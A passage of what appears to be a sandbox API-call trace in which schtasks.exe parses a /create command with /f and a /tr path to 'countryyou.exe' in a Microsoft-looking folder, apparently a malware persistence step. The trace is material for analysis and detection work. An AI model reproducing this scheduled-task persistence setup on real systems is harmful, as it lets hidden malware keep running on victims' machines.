[0072.258] lstrlenW (lpString="showsid") returned 7 [0072.258] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.258] lstrlenW (lpString="tr") returned 2 [0072.258] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.258] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|showsid|") returned 9 [0072.258] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tr|") returned 4 [0072.258] lstrlenW (lpString="|showsid|") returned 9 [0072.258] lstrlenW (lpString="|tr|") returned 4 [0072.258] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0072.258] SetLastError (dwErrCode=0x490) [0072.258] SetLastError (dwErrCode=0x490) [0072.258] SetLastError (dwErrCode=0x0) [0072.258] lstrlenW (lpString="/tr") returned 3 [0072.258] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0072.258] SetLastError (dwErrCode=0x490) [0072.258] SetLastError (dwErrCode=0x0) [0072.258] lstrlenW (lpString="/tr") returned 3 [0072.258] GetProcessHeap () returned 0x60000 [0072.259] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c490 [0072.259] GetProcessHeap () returned 0x60000 [0072.259] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ceb0 [0072.259] SetLastError (dwErrCode=0x0) [0072.259] SetLastError (dwErrCode=0x0) [0072.259] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.259] lstrlenW (lpString="-/") returned 2 [0072.259] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.259] SetLastError (dwErrCode=0x490) [0072.259] SetLastError (dwErrCode=0x490) [0072.259] SetLastError (dwErrCode=0x0) [0072.259] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.259] StrChrIW (lpStart="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'" [0072.259] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.259] GetProcessHeap () returned 0x60000 [0072.259] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c4b0 [0072.259] _memicmp (_Buf1=0x7c4b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.259] GetProcessHeap () returned 0x60000 [0072.259] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7c4d0 [0072.259] GetProcessHeap () returned 0x60000 [0072.259] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d680 [0072.259] _memicmp (_Buf1=0x7d680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.259] GetProcessHeap () returned 0x60000 [0072.259] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x90) returned 0x7de50 [0072.260] SetLastError (dwErrCode=0x7a) [0072.260] SetLastError (dwErrCode=0x0) [0072.260] SetLastError (dwErrCode=0x0) [0072.260] lstrlenW (lpString="'C") returned 2 [0072.260] lstrlenW (lpString="-/") returned 2 [0072.260] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.260] SetLastError (dwErrCode=0x490) [0072.260] SetLastError (dwErrCode=0x490) [0072.260] SetLastError (dwErrCode=0x0) [0072.260] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.260] GetProcessHeap () returned 0x60000 [0072.260] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8e) returned 0x7def0 [0072.260] GetProcessHeap () returned 0x60000 [0072.260] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cee0 [0072.260] SetLastError (dwErrCode=0x0) [0072.260] SetLastError (dwErrCode=0x0) [0072.260] lstrlenW (lpString="/f") returned 2 [0072.260] lstrlenW (lpString="-/") returned 2 [0072.260] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.260] lstrlenW (lpString="?") returned 1 [0072.260] lstrlenW (lpString="?") returned 1 [0072.260] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.260] lstrlenW (lpString="f") returned 1 [0072.260] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.260] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|?|") returned 3 [0072.261] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.261] lstrlenW (lpString="|?|") returned 3 [0072.261] lstrlenW (lpString="|f|") returned 3 [0072.261] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0072.261] SetLastError (dwErrCode=0x490) [0072.261] lstrlenW (lpString="create") returned 6 [0072.261] lstrlenW (lpString="create") returned 6 [0072.261] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.261] lstrlenW (lpString="f") returned 1 [0072.261] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.261] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.261] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.261] lstrlenW (lpString="|create|") returned 8 [0072.261] lstrlenW (lpString="|f|") returned 3 [0072.261] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0072.261] SetLastError (dwErrCode=0x490) [0072.261] lstrlenW (lpString="delete") returned 6 [0072.261] lstrlenW (lpString="delete") returned 6 [0072.261] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.261] lstrlenW (lpString="f") returned 1 [0072.261] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.261] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|delete|") returned 8 [0072.261] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.261] lstrlenW (lpString="|delete|") returned 8 [0072.262] lstrlenW (lpString="|f|") returned 3 [0072.262] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0072.262] SetLastError (dwErrCode=0x490) [0072.262] lstrlenW (lpString="query") returned 5 [0072.262] lstrlenW (lpString="query") returned 5 [0072.262] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.262] lstrlenW (lpString="f") returned 1 [0072.262] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.262] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|query|") returned 7 [0072.262] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.262] lstrlenW (lpString="|query|") returned 7 [0072.262] lstrlenW (lpString="|f|") returned 3 [0072.262] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0072.262] SetLastError (dwErrCode=0x490) [0072.262] lstrlenW (lpString="change") returned 6 [0072.262] lstrlenW (lpString="change") returned 6 [0072.262] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.262] lstrlenW (lpString="f") returned 1 [0072.262] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.262] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|change|") returned 8 [0072.262] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.262] lstrlenW (lpString="|change|") returned 8 [0072.262] lstrlenW (lpString="|f|") returned 3 [0072.263] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0072.263] SetLastError (dwErrCode=0x490) [0072.263] lstrlenW (lpString="run") returned 3 [0072.263] lstrlenW (lpString="run") returned 3 [0072.263] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.263] lstrlenW (lpString="f") returned 1 [0072.263] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.263] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|run|") returned 5 [0072.263] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.263] lstrlenW (lpString="|run|") returned 5 [0072.263] lstrlenW (lpString="|f|") returned 3 [0072.263] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0072.263] SetLastError (dwErrCode=0x490) [0072.263] lstrlenW (lpString="end") returned 3 [0072.263] lstrlenW (lpString="end") returned 3 [0072.263] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.263] lstrlenW (lpString="f") returned 1 [0072.263] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.263] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|end|") returned 5 [0072.263] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.263] lstrlenW (lpString="|end|") returned 5 [0072.263] lstrlenW (lpString="|f|") returned 3 [0072.263] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0072.263] SetLastError (dwErrCode=0x490) [0072.264] lstrlenW (lpString="showsid") returned 7 [0072.264] lstrlenW (lpString="showsid") returned 7 [0072.264] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.264] lstrlenW (lpString="f") returned 1 [0072.264] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.264] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|showsid|") returned 9 [0072.264] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|f|") returned 3 [0072.264] lstrlenW (lpString="|showsid|") returned 9 [0072.264] lstrlenW (lpString="|f|") returned 3 [0072.264] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0072.264] SetLastError (dwErrCode=0x490) [0072.264] SetLastError (dwErrCode=0x490) [0072.264] SetLastError (dwErrCode=0x0) [0072.264] lstrlenW (lpString="/f") returned 2 [0072.264] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0072.264] SetLastError (dwErrCode=0x490) [0072.264] SetLastError (dwErrCode=0x0) [0072.264] lstrlenW (lpString="/f") returned 2 [0072.264] GetProcessHeap () returned 0x60000 [0072.264] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x6) returned 0x7df90 [0072.264] GetProcessHeap () returned 0x60000 [0072.264] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cf10 [0072.264] SetLastError (dwErrCode=0x0) [0072.264] GetProcessHeap () returned 0x60000 [0072.264] GetProcessHeap () returned 0x60000 [0072.264] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360) returned 1 [0072.265] GetProcessHeap () returned 0x60000 [0072.265] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c360) returned 0x8 [0072.265] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360 | out: hHeap=0x60000) returned 1 [0072.265] GetProcessHeap () returned 0x60000 [0072.265] GetProcessHeap () returned 0x60000 [0072.265] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd90) returned 1 [0072.265] GetProcessHeap () returned 0x60000 [0072.265] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd90) returned 0x20 [0072.265] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd90 | out: hHeap=0x60000) returned 1 [0072.265] GetProcessHeap () returned 0x60000 [0072.265] GetProcessHeap () returned 0x60000 [0072.265] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3f0) returned 1 [0072.265] GetProcessHeap () returned 0x60000 [0072.266] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3f0) returned 0x18 [0072.266] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3f0 | out: hHeap=0x60000) returned 1 [0072.266] GetProcessHeap () returned 0x60000 [0072.266] GetProcessHeap () returned 0x60000 [0072.266] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdc0) returned 1 [0072.266] GetProcessHeap () returned 0x60000 [0072.266] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cdc0) returned 0x20 [0072.267] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdc0 | out: hHeap=0x60000) returned 1 [0072.270] GetProcessHeap () returned 0x60000 [0072.270] GetProcessHeap () returned 0x60000 [0072.270] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c410) returned 1 [0072.270] GetProcessHeap () returned 0x60000 [0072.270] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c410) returned 0x8 [0072.270] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c410 | out: hHeap=0x60000) returned 1 [0072.270] GetProcessHeap () returned 0x60000 [0072.270] GetProcessHeap () returned 0x60000 [0072.270] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdf0) returned 1 [0072.270] GetProcessHeap () returned 0x60000 [0072.270] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cdf0) returned 0x20 [0072.271] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdf0 | out: hHeap=0x60000) returned 1 [0072.271] GetProcessHeap () returned 0x60000 [0072.271] GetProcessHeap () returned 0x60000 [0072.272] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c430) returned 1 [0072.272] GetProcessHeap () returned 0x60000 [0072.272] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c430) returned 0xe [0072.272] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c430 | out: hHeap=0x60000) returned 1 [0072.272] GetProcessHeap () returned 0x60000 [0072.272] GetProcessHeap () returned 0x60000 [0072.272] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce20) returned 1 [0072.272] GetProcessHeap () returned 0x60000 [0072.272] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce20) returned 0x20 [0072.273] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce20 | out: hHeap=0x60000) returned 1 [0072.273] GetProcessHeap () returned 0x60000 [0072.273] GetProcessHeap () returned 0x60000 [0072.273] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c450) returned 1 [0072.273] GetProcessHeap () returned 0x60000 [0072.273] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c450) returned 0x8 [0072.273] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c450 | out: hHeap=0x60000) returned 1 [0072.273] GetProcessHeap () returned 0x60000 [0072.273] GetProcessHeap () returned 0x60000 [0072.273] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce50) returned 1 [0072.273] GetProcessHeap () returned 0x60000 [0072.273] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce50) returned 0x20 [0072.274] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce50 | out: hHeap=0x60000) returned 1 [0072.274] GetProcessHeap () returned 0x60000 [0072.274] GetProcessHeap () returned 0x60000 [0072.274] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c470) returned 1 [0072.274] GetProcessHeap () returned 0x60000 [0072.274] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c470) returned 0x4 [0072.274] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c470 | out: hHeap=0x60000) returned 1 [0072.274] GetProcessHeap () returned 0x60000 [0072.274] GetProcessHeap () returned 0x60000 [0072.274] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce80) returned 1 [0072.274] GetProcessHeap () returned 0x60000 [0072.274] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce80) returned 0x20 [0072.275] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce80 | out: hHeap=0x60000) returned 1 [0072.275] GetProcessHeap () returned 0x60000 [0072.275] GetProcessHeap () returned 0x60000 [0072.275] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c490) returned 1 [0072.275] GetProcessHeap () returned 0x60000 [0072.275] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c490) returned 0x8 [0072.275] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c490 | out: hHeap=0x60000) returned 1 [0072.275] GetProcessHeap () returned 0x60000 [0072.275] GetProcessHeap () returned 0x60000 [0072.275] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ceb0) returned 1 [0072.275] GetProcessHeap () returned 0x60000 [0072.275] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ceb0) returned 0x20 [0072.276] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ceb0 | out: hHeap=0x60000) returned 1 [0072.276] GetProcessHeap () returned 0x60000 [0072.276] GetProcessHeap () returned 0x60000 [0072.276] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7def0) returned 1 [0072.276] GetProcessHeap () returned 0x60000 [0072.276] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7def0) returned 0x8e [0072.277] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7def0 | out: hHeap=0x60000) returned 1 [0072.277] GetProcessHeap () returned 0x60000 [0072.277] GetProcessHeap () returned 0x60000 [0072.277] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cee0) returned 1 [0072.277] GetProcessHeap () returned 0x60000 [0072.277] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cee0) returned 0x20 [0072.278] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cee0 | out: hHeap=0x60000) returned 1 [0072.278] GetProcessHeap () returned 0x60000 [0072.278] GetProcessHeap () returned 0x60000 [0072.278] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7df90) returned 1 [0072.278] GetProcessHeap () returned 0x60000 [0072.278] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7df90) returned 0x6 [0072.278] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7df90 | out: hHeap=0x60000) returned 1 [0072.278] GetProcessHeap () returned 0x60000 [0072.278] GetProcessHeap () returned 0x60000 [0072.278] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cf10) returned 1 [0072.278] GetProcessHeap () returned 0x60000 [0072.278] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cf10) returned 0x20 [0072.279] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cf10 | out: hHeap=0x60000) returned 1 [0072.279] GetProcessHeap () returned 0x60000 [0072.279] GetProcessHeap () returned 0x60000 [0072.279] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75590) returned 1 [0072.279] GetProcessHeap () returned 0x60000 [0072.279] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75590) returned 0x18 [0072.279] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75590 | out: hHeap=0x60000) returned 1 [0072.279] SetLastError (dwErrCode=0x0) [0072.279] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0072.279] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0072.279] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0072.279] VerifyVersionInfoW (in: lpVersionInformation=0x25c650, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c650) returned 1 [0072.279] SetLastError (dwErrCode=0x0) [0072.279] lstrlenW (lpString="create") returned 6 [0072.280] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0072.280] SetLastError (dwErrCode=0x490) [0072.280] SetLastError (dwErrCode=0x0) [0072.280] lstrlenW (lpString="create") returned 6 [0072.280] GetProcessHeap () returned 0x60000 [0072.280] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cf10 [0072.280] GetProcessHeap () returned 0x60000 [0072.280] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d6a0 [0072.280] _memicmp (_Buf1=0x7d6a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.280] GetProcessHeap () returned 0x60000 [0072.280] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d6c0 [0072.280] SetLastError (dwErrCode=0x0) [0072.280] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.280] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0072.280] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0072.281] GetProcessHeap () returned 0x60000 [0072.281] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x74e) returned 0x7def0 [0072.281] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x7def0 | out: lpData=0x7def0) returned 1 [0072.281] VerQueryValueW (in: pBlock=0x7def0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c738, puLen=0x25c7a0 | out: lplpBuffer=0x25c738*=0x7e28c, puLen=0x25c7a0) returned 1 [0072.281] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.281] _vsnwprintf (in: _Buffer=0x7bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c718 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0072.281] VerQueryValueW (in: pBlock=0x7def0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c7a8, puLen=0x25c798 | out: lplpBuffer=0x25c7a8*=0x7e0b8, puLen=0x25c798) returned 1 [0072.281] lstrlenW (lpString="schtasks.exe") returned 12 [0072.281] lstrlenW (lpString="schtasks.exe") returned 12 [0072.281] lstrlenW (lpString=".EXE") returned 4 [0072.281] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0072.281] lstrlenW (lpString="schtasks.exe") returned 12 [0072.281] lstrlenW (lpString=".EXE") returned 4 [0072.281] lstrlenW (lpString="schtasks") returned 8 [0072.282] lstrlenW (lpString="/create") returned 7 [0072.282] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.282] _vsnwprintf (in: _Buffer=0x7bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c718 | out: _Buffer="schtasks /create") returned 16 [0072.282] _memicmp (_Buf1=0x7bc10, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.282] GetProcessHeap () returned 0x60000 [0072.282] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cee0 [0072.282] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.282] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0072.282] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0072.282] GetProcessHeap () returned 0x60000 [0072.282] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x30) returned 0x77c50 [0072.282] _vsnwprintf (in: _Buffer=0x7c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c718 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0072.282] GetProcessHeap () returned 0x60000 [0072.282] GetProcessHeap () returned 0x60000 [0072.282] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7def0) returned 1 [0072.282] GetProcessHeap () returned 0x60000 [0072.282] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7def0) returned 0x74e [0072.283] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7def0 | out: hHeap=0x60000) returned 1 [0072.283] SetLastError (dwErrCode=0x0) [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.283] lstrlenW (lpString="create") returned 6 [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.283] lstrlenW (lpString="?") returned 1 [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.283] lstrlenW (lpString="s") returned 1 [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.283] lstrlenW (lpString="u") returned 1 [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.283] lstrlenW (lpString="p") returned 1 [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.283] lstrlenW (lpString="ru") returned 2 [0072.283] GetThreadLocale () returned 0x409 [0072.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="rp") returned 2 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="sc") returned 2 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="mo") returned 2 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="d") returned 1 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="m") returned 1 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, 